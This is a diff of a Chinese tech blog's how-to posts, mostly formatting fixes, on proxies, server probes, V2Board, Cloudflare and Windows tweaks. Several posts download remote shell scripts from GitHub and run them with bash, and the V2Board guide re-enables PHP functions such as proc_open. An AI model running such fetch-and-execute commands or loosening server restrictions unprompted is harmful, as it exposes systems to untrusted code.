@ -26,8 +25,7 @@ Debian 9 / Ubuntu 16
|
||||
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
|
||||
ntpdate time.nist.gov
|
||||
|
||||
2.一键安装
|
||||
------
|
||||
## 2.一键安装
|
||||
|
||||
mkdir /home/mtproxy && cd /home/mtproxy
|
||||
curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh
|
||||
|
@ -6,39 +6,44 @@ tags: []
|
||||
|
||||
三件套包含:
|
||||
|
||||
- Google服务框架
|
||||
- Google 服务框架
|
||||
- Google Play Service
|
||||
- Google Play Store
|
||||
|
||||
## Google服务框架
|
||||
## Google 服务框架
|
||||
|
||||
下载地址:`https://www.apkmirror.com/apk/google-inc/google-services-framework/`
|
||||
下载地址:
|
||||
[https://www.apkmirror.com/apk/google-inc/google-services-framework/](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
|
||||
|
||||
首先点击上边的网站,到Google服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
选择noDPI的版本
|
||||
首先点击上边的网站,到 Google 服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
选择 noDPI 的版本
|
||||
|
||||
关于ARM版本:
|
||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
||||
关于 ARM 版本:
|
||||
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||
|
||||
## Google Play Service
|
||||
|
||||
下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-services/`
|
||||
下载地址:
|
||||
|
||||
首先点击上边的网站,到Google Play Service的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
那么就选择noDPI的版本
|
||||
[https://www.apkmirror.com/apk/google-inc/google-play-services/](https://www.apkmirror.com/apk/google-inc/google-play-services/)
|
||||
|
||||
关于ARM版本:
|
||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
||||
首先点击上边的网站,到 Google Play Service 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
那么就选择 noDPI 的版本
|
||||
|
||||
关于 ARM 版本:
|
||||
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||
|
||||
## Google Play Store
|
||||
|
||||
下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-store/`
|
||||
下载地址:
|
||||
|
||||
首先点击上边的网站,到Google Play Store的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
选择noDPI的版本
|
||||
[https://www.apkmirror.com/apk/google-inc/google-play-store/](https://www.apkmirror.com/apk/google-inc/google-play-store/)
|
||||
|
||||
关于ARM版本:
|
||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
||||
首先点击上边的网站,到 Google Play Store 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
选择 noDPI 的版本
|
||||
|
||||
关于 ARM 版本:
|
||||
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||
|
@ -12,7 +12,7 @@ tags: ["v2board"]
|
||||
|
||||
安装完成后我们登陆宝塔进行环境的安装。
|
||||
|
||||
选择使用LNMP的环境安装方式勾选如下信息:
|
||||
选择使用 LNMP 的环境安装方式勾选如下信息:
|
||||
|
||||
- ☑️ Nginx 1.17
|
||||
- ☑️ MySQL 5.6
|
||||
@ -20,23 +20,23 @@ tags: ["v2board"]
|
||||
|
||||
选择快速编译后进行安装。
|
||||
|
||||
## 二、安装Redis和文件信息
|
||||
## 二、安装 Redis 和文件信息
|
||||
|
||||
宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。
|
||||
宝塔面板 > 软件商店 > 找到 PHP 7.3 点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。
|
||||
|
||||
## 三、解除被禁止的函数
|
||||
|
||||
宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。
|
||||
宝塔面板 > 软件商店 > 找到 PHP 7.3 点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。
|
||||
|
||||
## 四、添加站点
|
||||
|
||||
宝塔面板 > 网站 > 添加站点:
|
||||
|
||||
- 在域名填入你的域名
|
||||
- 在数据库中选择MySQL
|
||||
- 在数据库中选择 MySQL
|
||||
- 在 PHP 版本中选择 PHP-73
|
||||
|
||||
## 五、安装V2Board
|
||||
## 五、安装 V2Board
|
||||
|
||||
### 进入站点目录
|
||||
|
||||
@ -57,7 +57,7 @@ rm -rf .htaccess 404.html index.html .user.ini
|
||||
git clone https://github.com/v2board/v2board.git ./
|
||||
```
|
||||
|
||||
### 安装依赖包以及V2board
|
||||
### 安装依赖包以及 V2board
|
||||
|
||||
```bash
|
||||
sh init.sh
|
||||
@ -97,13 +97,13 @@ sh init.sh
|
||||
php /www/wwwroot/路径/artisan schedule:run
|
||||
```
|
||||
|
||||
根据上述信息添加每1分钟执行一次的定时任务。
|
||||
根据上述信息添加每 1 分钟执行一次的定时任务。
|
||||
|
||||
## 八、启动队列服务
|
||||
|
||||
V2board的邮件系统强依赖队列服务,你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
|
||||
V2board 的邮件系统强依赖队列服务,你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
|
||||
|
||||
宝塔面板 > 软件商店 > 部署 > 找到Supervisor进行安装,安装完成后点击设置 > 添加守护进程,按照如下填写:
|
||||
宝塔面板 > 软件商店 > 部署 > 找到 Supervisor 进行安装,安装完成后点击设置 > 添加守护进程,按照如下填写:
|
||||
|
||||
- 名称:填写 `V2board`
|
||||
- 运行目录:选择站点目录
|
||||
@ -114,11 +114,11 @@ V2board的邮件系统强依赖队列服务,你想要使用邮件验证及群
|
||||
|
||||
## 常见问题
|
||||
|
||||
### 500错误
|
||||
### 500 错误
|
||||
|
||||
可能的原因:
|
||||
|
||||
1. 检查站点根目录权限,递归755,保证目录有可写文件的权限。
|
||||
2. Redis扩展没有安装或者Redis没有安装造成的。
|
||||
3. 可以通过查看storage/logs下的日志来排查错误或者开启debug模式。
|
||||
4. 重启php7.3。
|
||||
1. 检查站点根目录权限,递归 755,保证目录有可写文件的权限。
|
||||
2. Redis 扩展没有安装或者 Redis 没有安装造成的。
|
||||
3. 可以通过查看 storage/logs 下的日志来排查错误或者开启 debug 模式。
|
||||
4. 重启 php7.3。
|
||||
|
@ -3,10 +3,11 @@ title: "CDN配置"
|
||||
date: 2023-12-25T12:07:21+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
## 域名绑定
|
||||
|
||||
1. 绑定到需要加速的服务器(源站)
|
||||
2. 配置到cdn平台(加速域名)
|
||||
2. 配置到 cdn 平台(加速域名)
|
||||
|
||||
## 配置
|
||||
|
||||
@ -16,6 +17,6 @@ tags: []
|
||||
|
||||
- 加速域名:(加速域名)
|
||||
- 回源域名填写:(源站)
|
||||
- 回源host选择:与回源域名一致
|
||||
- 回源 host 选择:与回源域名一致
|
||||
|
||||
改动回源host的目的是为了让vercel那边知道你需要回源到的域名。
|
||||
改动回源 host 的目的是为了让 vercel 那边知道你需要回源到的域名。
|
||||
|
@ -3,17 +3,19 @@ title: "Cloudflare_自选IP"
|
||||
date: 2024-06-18T16:16:35+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
## Workers
|
||||
|
||||
1. DNS解析
|
||||
1. DNS 解析
|
||||
|
||||
1. 删除现有 Workers 解析(自定义域)
|
||||
2. 将要用的域名解析到自选 IP 上,注意**不要开启**代理(小云朵)
|
||||
|
||||
1. 删除现有Workers解析(自定义域)
|
||||
2. 将要用的域名解析到自选IP上,注意**不要开启**代理(小云朵)
|
||||
2. 自定义路由
|
||||
|
||||
设置->触发器->路由
|
||||
|
||||
我要使用`proxy.example.com`作为Workers域名,且要访问全部内容
|
||||
我要使用`proxy.example.com`作为 Workers 域名,且要访问全部内容
|
||||
|
||||
```text
|
||||
proxy.example.com/*
|
||||
|
@ -82,7 +82,7 @@ jobs:
|
||||
- name: 安装 Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: '3.x'
|
||||
python-version: "3.x"
|
||||
- name: 安装依赖
|
||||
run: pip install requests
|
||||
- name: 等待源站部署
|
||||
|
@ -22,30 +22,30 @@ tags: []
|
||||
|
||||
```typescript
|
||||
// 网站基本信息
|
||||
export const SITE_URL = 'https://your-domain.com';
|
||||
export const SITE_URL = "https://your-domain.com";
|
||||
export const SITE_NAME = "你的网站名称";
|
||||
export const SITE_DESCRIPTION = "网站描述";
|
||||
|
||||
// 导航链接
|
||||
export const NAV_LINKS = [
|
||||
{ href: '/', text: '首页' },
|
||||
{ href: '/articles', text: '文章' },
|
||||
{ href: '/movies', text: '观影' },
|
||||
{ href: '/books', text: '读书' },
|
||||
{ href: '/projects', text: '项目' },
|
||||
{ href: '/other', text: '其他' }
|
||||
{ href: "/", text: "首页" },
|
||||
{ href: "/articles", text: "文章" },
|
||||
{ href: "/movies", text: "观影" },
|
||||
{ href: "/books", text: "读书" },
|
||||
{ href: "/projects", text: "项目" },
|
||||
{ href: "/other", text: "其他" },
|
||||
];
|
||||
|
||||
// 备案信息(如果需要)
|
||||
export const ICP = '你的ICP备案号';
|
||||
export const PSB_ICP = '你的公安备案号';
|
||||
export const PSB_ICP_URL = '备案链接';
|
||||
export const ICP = "你的ICP备案号";
|
||||
export const PSB_ICP = "你的公安备案号";
|
||||
export const PSB_ICP_URL = "备案链接";
|
||||
|
||||
// 豆瓣配置
|
||||
export const DOUBAN_ID = '你的豆瓣ID';
|
||||
export const DOUBAN_ID = "你的豆瓣ID";
|
||||
|
||||
// 旅行足迹
|
||||
export const VISITED_PLACES = ['中国-北京', '中国-上海', '美国-纽约'];
|
||||
export const VISITED_PLACES = ["中国-北京", "中国-上海", "美国-纽约"];
|
||||
```
|
||||
|
||||
## 文章写作
|
||||
@ -100,7 +100,7 @@ tags: ["标签1", "标签2"]
|
||||
export const ARTICLE_EXPIRY_CONFIG = {
|
||||
enabled: true, // 是否启用文章过期提醒
|
||||
expiryDays: 365, // 文章过期天数
|
||||
warningMessage: '这篇文章已经发布超过一年了,内容可能已经过时,请谨慎参考。' // 提醒消息
|
||||
warningMessage: "这篇文章已经发布超过一年了,内容可能已经过时,请谨慎参考。", // 提醒消息
|
||||
};
|
||||
```
|
||||
|
||||
@ -146,7 +146,7 @@ import { GitPlatform } from '@/components/GitProjectCollection';
|
||||
|
||||
`MediaGrid` 组件用于展示豆瓣的观影和读书记录。
|
||||
|
||||
#### 基本用法
|
||||
基本用法
|
||||
|
||||
```astro
|
||||
---
|
||||
@ -174,7 +174,7 @@ import MediaGrid from '@/components/MediaGrid.astro';
|
||||
|
||||
`WorldHeatmap` 组件用于展示你去过的地方,以热力图的形式在世界地图上显示。
|
||||
|
||||
#### 基本用法
|
||||
基本用法
|
||||
|
||||
在 `src/consts.ts` 中配置你去过的地方:
|
||||
|
||||
@ -182,13 +182,13 @@ import MediaGrid from '@/components/MediaGrid.astro';
|
||||
// 配置你去过的地方
|
||||
export const VISITED_PLACES = [
|
||||
// 国内地区格式:'中国-省份/城市'
|
||||
'中国-黑龙江',
|
||||
'中国-北京',
|
||||
'中国-上海',
|
||||
"中国-黑龙江",
|
||||
"中国-北京",
|
||||
"中国-上海",
|
||||
// 国外地区直接使用国家名
|
||||
'马来西亚',
|
||||
'泰国',
|
||||
'美国'
|
||||
"马来西亚",
|
||||
"泰国",
|
||||
"美国",
|
||||
];
|
||||
```
|
||||
|
||||
@ -214,7 +214,6 @@ import { VISITED_PLACES } from '@/consts';
|
||||
</Layout>
|
||||
```
|
||||
|
||||
|
||||
## 主题切换
|
||||
|
||||
系统支持三种主题模式:
|
||||
@ -245,8 +244,6 @@ import { VISITED_PLACES } from '@/consts';
|
||||
|
||||
```bash
|
||||
npm install
|
||||
# 或者使用 pnpm
|
||||
pnpm install
|
||||
```
|
||||
|
||||
3. 修改配置
|
||||
@ -255,9 +252,9 @@ import { VISITED_PLACES } from '@/consts';
|
||||
|
||||
4. 本地运行
|
||||
|
||||
```bash
|
||||
npm run dev
|
||||
```
|
||||
```bash
|
||||
npm run dev
|
||||
```
|
||||
|
||||
访问 `http://localhost:4321` 查看效果。
|
||||
|
||||
@ -266,10 +263,11 @@ npm run dev
|
||||
### 部署方式选择
|
||||
|
||||
1. **Vercel 部署(推荐)**
|
||||
|
||||
- 支持所有功能
|
||||
- 自动部署和 HTTPS
|
||||
- 支持 API 路由和动态数据
|
||||
- 可配合多吉云CDN实现自动刷新缓存
|
||||
- 可配合多吉云 CDN 实现自动刷新缓存
|
||||
|
||||
2. **静态托管(如腾讯云)**
|
||||
- 仅支持静态文件
|
||||
@ -278,13 +276,13 @@ npm run dev
|
||||
- 动态数据获取
|
||||
- 需要手动配置和上传
|
||||
|
||||
### CDN加速配置
|
||||
### CDN 加速配置
|
||||
|
||||
博客支持通过多吉云CDN进行加速,并可通过GitHub Actions实现自动刷新缓存:
|
||||
博客支持通过多吉云 CDN 进行加速,并可通过 GitHub Actions 实现自动刷新缓存:
|
||||
|
||||
1. 按照[CDN配置指南](./cdn配置)配置多吉云CDN
|
||||
2. 按照[GitHub Actions自动刷新CDN缓存指南](./github-actions自动刷新多吉云_cdn缓存)配置自动刷新
|
||||
3. 配置完成后,每次博客更新时,CDN缓存将自动刷新
|
||||
1. 按照[CDN 配置指南](./cdn配置)配置多吉云 CDN
|
||||
2. 按照[GitHub Actions 自动刷新 CDN 缓存指南](./github-actions自动刷新多吉云_cdn缓存)配置自动刷新
|
||||
3. 配置完成后,每次博客更新时,CDN 缓存将自动刷新
|
||||
|
||||
### 部署步骤
|
||||
|
||||
@ -309,22 +307,25 @@ npm run dev
|
||||
|
||||
2. 构建并上传:
|
||||
|
||||
```bash
|
||||
npm run build
|
||||
# 上传 dist/client 目录到静态托管服务
|
||||
```
|
||||
```bash
|
||||
npm run build
|
||||
# 上传 dist/client 目录到静态托管服务
|
||||
```
|
||||
|
||||
## 常见问题
|
||||
|
||||
1. **图片无法显示**
|
||||
|
||||
- 检查图片路径是否正确
|
||||
- 确保图片已放入 `public` 目录
|
||||
|
||||
2. **豆瓣数据无法获取**
|
||||
|
||||
- 确认豆瓣 ID 配置正确
|
||||
- 检查豆瓣记录是否公开
|
||||
|
||||
3. **Git 项目无法显示**
|
||||
|
||||
- 验证用户名配置
|
||||
- 确认 API 访问限制
|
||||
|
||||
|
@ -528,7 +528,7 @@ main.main {
|
||||
{{ end }}
|
||||
```
|
||||
|
||||
#### 代码块引入MacOS窗口样式
|
||||
#### 代码块引入 MacOS 窗口样式
|
||||
|
||||
在主题目录下的`assets`文件夹中的`img`文件夹中,创建一个名为`code-header.svg`的文件,在文件中写入以下内容:
|
||||
|
||||
|
@ -4,12 +4,11 @@ date: 2025-01-15T00:34:11Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
## 前端
|
||||
|
||||
## tailwind
|
||||
|
||||
> 快速构建css样式器
|
||||
> 快速构建 css 样式器
|
||||
|
||||
### 可响应式布局
|
||||
|
||||
@ -35,13 +34,13 @@ module.exports = {
|
||||
### 安全
|
||||
|
||||
1. json web token:保证用户令牌不是篡改或伪造,注意是明文传输
|
||||
2. hash密码:避免数据库泄漏带来的隐私风险
|
||||
2. hash 密码:避免数据库泄漏带来的隐私风险
|
||||
3. cors:可以避免其他站点的非法请求,不过只适用用浏览器
|
||||
4. 构建sql查询器中间件:使sql语句可以结构化,可以根据危险等级构建不同的查询等级,最大程度避免xxs
|
||||
4. 构建 sql 查询器中间件:使 sql 语句可以结构化,可以根据危险等级构建不同的查询等级,最大程度避免 xxs
|
||||
|
||||
### 接口
|
||||
|
||||
1. 适用restful接口具有很好的可读性
|
||||
1. 适用 restful 接口具有很好的可读性
|
||||
|
||||
## 其他
|
||||
|
||||
|
@ -6,7 +6,7 @@ tags: [cloudflare]
|
||||
|
||||
项目地址:[https://github.com/csh733/autouam_control](https://github.com/csh733/autouam_control)
|
||||
|
||||
**原理:** 通过检测系统负载(cpu或load)自动开启 Cloudflare UAM 和 challenge(验证码)
|
||||
**原理:** 通过检测系统负载(cpu 或 load)自动开启 Cloudflare UAM 和 challenge(验证码)
|
||||
|
||||
## 宝塔面板计划任务
|
||||
|
||||
@ -230,3 +230,4 @@ for ((;;)); do
|
||||
sleep $interval
|
||||
clear
|
||||
done
|
||||
```
|
||||
|
@ -6,15 +6,15 @@ tags: []
|
||||
|
||||
## 百度站长平台
|
||||
|
||||
[百度搜索引擎][1]是国内最主流的搜索引擎,当然百度站长平台也是站长们使用最多的平台,功能很齐全,网站各个方面的数据都显示的很到位,能够很好地辅助站长们进行SEO优化。
|
||||
[百度搜索引擎][1]是国内最主流的搜索引擎,当然百度站长平台也是站长们使用最多的平台,功能很齐全,网站各个方面的数据都显示的很到位,能够很好地辅助站长们进行 SEO 优化。
|
||||
|
||||
## 搜狗站长平台
|
||||
|
||||
[搜狗站长平台][2]和百度相比就显得略逊一些,只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度,但目前搜狗站长平台还是很少更新,站长学院的公告在17年之后就没有更新了。
|
||||
[搜狗站长平台][2]和百度相比就显得略逊一些,只提供一些基础的功能。虽然前一段时间有一份报告称搜狗 PC 用户已经超越百度,但目前搜狗站长平台还是很少更新,站长学院的公告在 17 年之后就没有更新了。
|
||||
|
||||
## 360站长平台
|
||||
## 360 站长平台
|
||||
|
||||
[360站长平台][3]在国内勉强排上第二,和百度相比360的功能还不够完善,算法也是偶尔更新一次,而且不知道你有没有发现360收录干货文章特别难,这也让很多站长放弃了360优化。
|
||||
[360 站长平台][3]在国内勉强排上第二,和百度相比 360 的功能还不够完善,算法也是偶尔更新一次,而且不知道你有没有发现 360 收录干货文章特别难,这也让很多站长放弃了 360 优化。
|
||||
|
||||
## 神马站长平台
|
||||
|
||||
@ -22,7 +22,7 @@ tags: []
|
||||
|
||||
## 必应站长平台
|
||||
|
||||
[必应][5]是微软旗下的搜索引擎,记得以前更新W10的时候浏览器自带的就是必应搜索引擎,国内用户很少,估计有的人听都没听过。
|
||||
[必应][5]是微软旗下的搜索引擎,记得以前更新 W10 的时候浏览器自带的就是必应搜索引擎,国内用户很少,估计有的人听都没听过。
|
||||
|
||||
## 头条站长平台
|
||||
|
||||
|
@ -33,7 +33,7 @@ tags: ["服务器探针", "cloudflare"]
|
||||
|
||||
#### 部署面板服务
|
||||
|
||||
github镜像
|
||||
github 镜像
|
||||
|
||||
```bash
|
||||
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
|
||||
@ -94,7 +94,7 @@ proxy_set_header Host $host;
|
||||
|
||||
[nssm](http://nssm.cc/download)
|
||||
|
||||
下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口,cd nssm解压的位置。
|
||||
下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口,cd nssm 解压的位置。
|
||||
|
||||
### 二、设置 NSSM
|
||||
|
||||
@ -104,7 +104,7 @@ proxy_set_header Host $host;
|
||||
nssm install <servername>
|
||||
```
|
||||
|
||||
>如: nssm install nezha
|
||||
> 如: nssm install nezha
|
||||
|
||||
弹出 UI,设置如下:
|
||||
|
||||
@ -120,11 +120,11 @@ Arguments: 启动参数
|
||||
-i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d
|
||||
```
|
||||
|
||||
>例如:
|
||||
> 例如:
|
||||
>
|
||||
>-i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
|
||||
> -i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
|
||||
>
|
||||
>自己对应修改,填写完毕后,点击 Install Servce。
|
||||
> 自己对应修改,填写完毕后,点击 Install Servce。
|
||||
|
||||
### 三、启动服务
|
||||
|
||||
|
@ -4,17 +4,17 @@ date: 2023-07-10T20:21:00Z
|
||||
tags: ["cloudflare"]
|
||||
---
|
||||
|
||||
受限于宝塔面板默认防火墙Firewalld的限制,要想宝塔面板下站点如何只限定CDN的IP节点回源请求的话,最简便有效的办法就是将CDN 的IP节点一个一个的加入到宝塔的【端口规则】里,需要限制哪个端口就在哪个端口下添加。
|
||||
受限于宝塔面板默认防火墙 Firewalld 的限制,要想宝塔面板下站点如何只限定 CDN 的 IP 节点回源请求的话,最简便有效的办法就是将 CDN 的 IP 节点一个一个的加入到宝塔的【端口规则】里,需要限制哪个端口就在哪个端口下添加。
|
||||
|
||||
## 1. 修改所有IP为指定IP
|
||||
## 1. 修改所有 IP 为指定 IP
|
||||
|
||||
我们选择的是443端口,默认宝塔是开放443端口给所有IP的,所以这里我们必须修改443端口规则为"指定IP",切记切记哦!
|
||||
我们选择的是 443 端口,默认宝塔是开放 443 端口给所有 IP 的,所以这里我们必须修改 443 端口规则为"指定 IP",切记切记哦!
|
||||
|
||||
## 2. 添加CDN 节点IP地址段
|
||||
## 2. 添加 CDN 节点 IP 地址段
|
||||
|
||||
给443添加了一个CloudFlare的IPv4节点IP地址段,意思就是这个103.21.244.0/22地址段的IP都可以回源请求443端口。具体CloudFlare的节点IP可以到这里查看:[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/)
|
||||
给 443 添加了一个 CloudFlare 的 IPv4 节点 IP 地址段,意思就是这个 103.21.244.0/22 地址段的 IP 都可以回源请求 443 端口。具体 CloudFlare 的节点 IP 可以到这里查看:[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/)
|
||||
|
||||
剩下的我们只需要一个一个的把CloudFlare的IPv4节点IP地址段这样添加即可,如果是80端口也是同样的。有人会说这样很麻烦,效率太低不科学,那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加,具体步骤很简单,我们可以制作一个导入CloudFlare的IP节点的.json,具体内容如下参考:
|
||||
剩下的我们只需要一个一个的把 CloudFlare 的 IPv4 节点 IP 地址段这样添加即可,如果是 80 端口也是同样的。有人会说这样很麻烦,效率太低不科学,那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加,具体步骤很简单,我们可以制作一个导入 CloudFlare 的 IP 节点的.json,具体内容如下参考:
|
||||
|
||||
```json
|
||||
43|tcp|443|accept|131.0.72.0/22|131.0.72.0/22|2023-07-10 20:01:07||0|
|
||||
|
@ -6,10 +6,10 @@ tags: []
|
||||
|
||||
## 1. 环境准备
|
||||
|
||||
* [宝塔面板](https://www.bt.cn/new/index.html)
|
||||
* PHP 7.4
|
||||
* MySQL 5.7 / 8 或 MariaDB 10
|
||||
* Apache HTTP Web Server 或 Nginx
|
||||
- [宝塔面板](https://www.bt.cn/new/index.html)
|
||||
- PHP 7.4
|
||||
- MySQL 5.7 / 8 或 MariaDB 10
|
||||
- Apache HTTP Web Server 或 Nginx
|
||||
|
||||
## 2. 下载
|
||||
|
||||
|
@ -24,4 +24,4 @@ tags: []
|
||||
?>
|
||||
```
|
||||
|
||||
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片API了。每次访问这个URL时,它都会随机选择一个图片文件并重定向到该图片的URL。
|
||||
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片 API 了。每次访问这个 URL 时,它都会随机选择一个图片文件并重定向到该图片的 URL。
|
||||
|
@ -1,23 +1,23 @@
|
||||
---
|
||||
title: "服务器探针(ServerStatus探针)安装教程"
|
||||
date: 2021-07-31T10:02:00+08:00
|
||||
tags: [ "服务器探针" ]
|
||||
tags: ["服务器探针"]
|
||||
---
|
||||
|
||||
## 食用方式
|
||||
|
||||
PS:(以下使用方式二,方式一直接运行傻瓜安装即可)
|
||||
|
||||
### 脚本进行安装(会要求安装Caddy,与Nginx不能同时安装,有能力的自行DIY)
|
||||
### 脚本进行安装(会要求安装 Caddy,与 Nginx 不能同时安装,有能力的自行 DIY)
|
||||
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh
|
||||
bash status.sh
|
||||
```
|
||||
|
||||
### 手动编译安装,可搭配宝塔使用Nginx提供服务
|
||||
### 手动编译安装,可搭配宝塔使用 Nginx 提供服务
|
||||
|
||||
#### 下载ServerStatus-USee
|
||||
#### 下载 ServerStatus-USee
|
||||
|
||||
```bash
|
||||
git clone https://gitee.com/useenet/serverTZ.git
|
||||
@ -26,7 +26,7 @@ mv serverTZ /usr/serverTZ
|
||||
|
||||
## 安装服务端
|
||||
|
||||
### 使用宝塔创建一个空网页(PS:域名框使用域名或IP均可)
|
||||
### 使用宝塔创建一个空网页(PS:域名框使用域名或 IP 均可)
|
||||
|
||||
### 复制监控展示页到宝塔新建的网站目录中
|
||||
|
||||
@ -82,11 +82,11 @@ vim config.json
|
||||
}
|
||||
```
|
||||
|
||||
### 在宝塔中打开serverTZ默认端口
|
||||
### 在宝塔中打开 serverTZ 默认端口
|
||||
|
||||
> 35601
|
||||
|
||||
### 编辑完成后,在server目下进行测试,webdir为web站点路径
|
||||
### 编辑完成后,在 server 目下进行测试,webdir 为 web 站点路径
|
||||
|
||||
```bash
|
||||
./sergate --config=config.json --web-dir=/www/wwwroot/站点
|
||||
@ -115,9 +115,7 @@ systemctl enable serverTZs.service
|
||||
```
|
||||
|
||||
> #赋权
|
||||
> #拷贝进系统服务目录
|
||||
> #重新加载系统服务
|
||||
> #启动服务端并设置开机自启
|
||||
> #拷贝进系统服务目录 #重新加载系统服务 #启动服务端并设置开机自启
|
||||
|
||||
### 在配置文件中增加服务器主机后重启
|
||||
|
||||
@ -142,7 +140,7 @@ mv serverTZ /usr/serverTZ
|
||||
cd /usr/serverTZ/clients
|
||||
```
|
||||
|
||||
### 检查已安装的python版本,版本需要2.7及以上
|
||||
### 检查已安装的 python 版本,版本需要 2.7 及以上
|
||||
|
||||
```python
|
||||
python -V
|
||||
@ -198,8 +196,7 @@ systemctl enable serverTZc.service
|
||||
```
|
||||
|
||||
> #赋权
|
||||
> #拷贝进系统服务目录
|
||||
> #重新加载系统服务
|
||||
> #拷贝进系统服务目录 #重新加载系统服务
|
||||
> #启动服务端并设置开机自启
|
||||
|
||||
在配置文件中增加服务器主机后重启
|
||||
|
@ -13,6 +13,7 @@ tags: []
|
||||
### 出现黄色更新弹窗
|
||||
|
||||
1. 打开文件目录:
|
||||
|
||||
- Mac 修改文件目录:`/Applications/Adobe Photoshop (Beta)/Adobe Photoshop (Beta).app/Contents/Required/UXP/com.adobe.photoshop.inAppMessaging/js/0.js`
|
||||
- Windows 目录(如果是 C 盘):`C:\Program Files\Adobe\Adobe Photoshop 2023\Required\UXP\com.adobe.photoshop.inAppMessaging\js\0.js`
|
||||
|
||||
|
@ -10,5 +10,5 @@ tags: []
|
||||
2. 找到时钟和区域
|
||||
3. 选择区域
|
||||
4. 打开管理
|
||||
5. 选择非Unicode程序的语言
|
||||
5. 选择非 Unicode 程序的语言
|
||||
6. 更改系统区域设置为中国(需要提供管理员权限)
|
||||
|
@ -17,11 +17,11 @@ tags: []
|
||||
start explorer.exe
|
||||
```
|
||||
|
||||
2. 将文本编辑器中的代码另存为.bat文件,例如 remove_shortcut.bat,保存在桌面上。
|
||||
2. 将文本编辑器中的代码另存为.bat 文件,例如 remove_shortcut.bat,保存在桌面上。
|
||||
|
||||
3. 点击双击打开保存在桌面上的 remove_shortcut.bat 文件,代码会自动执行,去除桌面图标上的快捷方式。
|
||||
|
||||
4. 如果您的Windows系统账户没有管理员权限,请使用管理员权限运行 remove_shortcut.bat 文件。
|
||||
4. 如果您的 Windows 系统账户没有管理员权限,请使用管理员权限运行 remove_shortcut.bat 文件。
|
||||
|
||||
5. 执行完毕后,命令行窗口会闪一下,随后资源管理器(explorer.exe)会立即自动重启。
|
||||
|
||||
@ -39,10 +39,10 @@ tags: []
|
||||
start explorer.exe
|
||||
```
|
||||
|
||||
2. 将文本编辑器中的代码另存为.bat文件,例如 remove_security.bat,保存在桌面上。
|
||||
2. 将文本编辑器中的代码另存为.bat 文件,例如 remove_security.bat,保存在桌面上。
|
||||
|
||||
3. 点击双击打开保存在桌面上的 remove_security.bat 文件,代码会自动执行,去除桌面图标上的安全盾标志。
|
||||
|
||||
4. 如果您的Windows系统账户没有管理员权限,请使用管理员权限运行 remove_security.bat 文件。
|
||||
4. 如果您的 Windows 系统账户没有管理员权限,请使用管理员权限运行 remove_security.bat 文件。
|
||||
|
||||
5. 执行完毕后,命令行窗口会闪一下,随后资源管理器(explorer.exe)会立即自动重启。
|
||||
|
@ -54,8 +54,8 @@ tags: []
|
||||
|
||||
按 Win+R 打开运行,输入 `winver` 检查 Windows 版本要求:
|
||||
|
||||
* 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。
|
||||
* 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。
|
||||
- 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。
|
||||
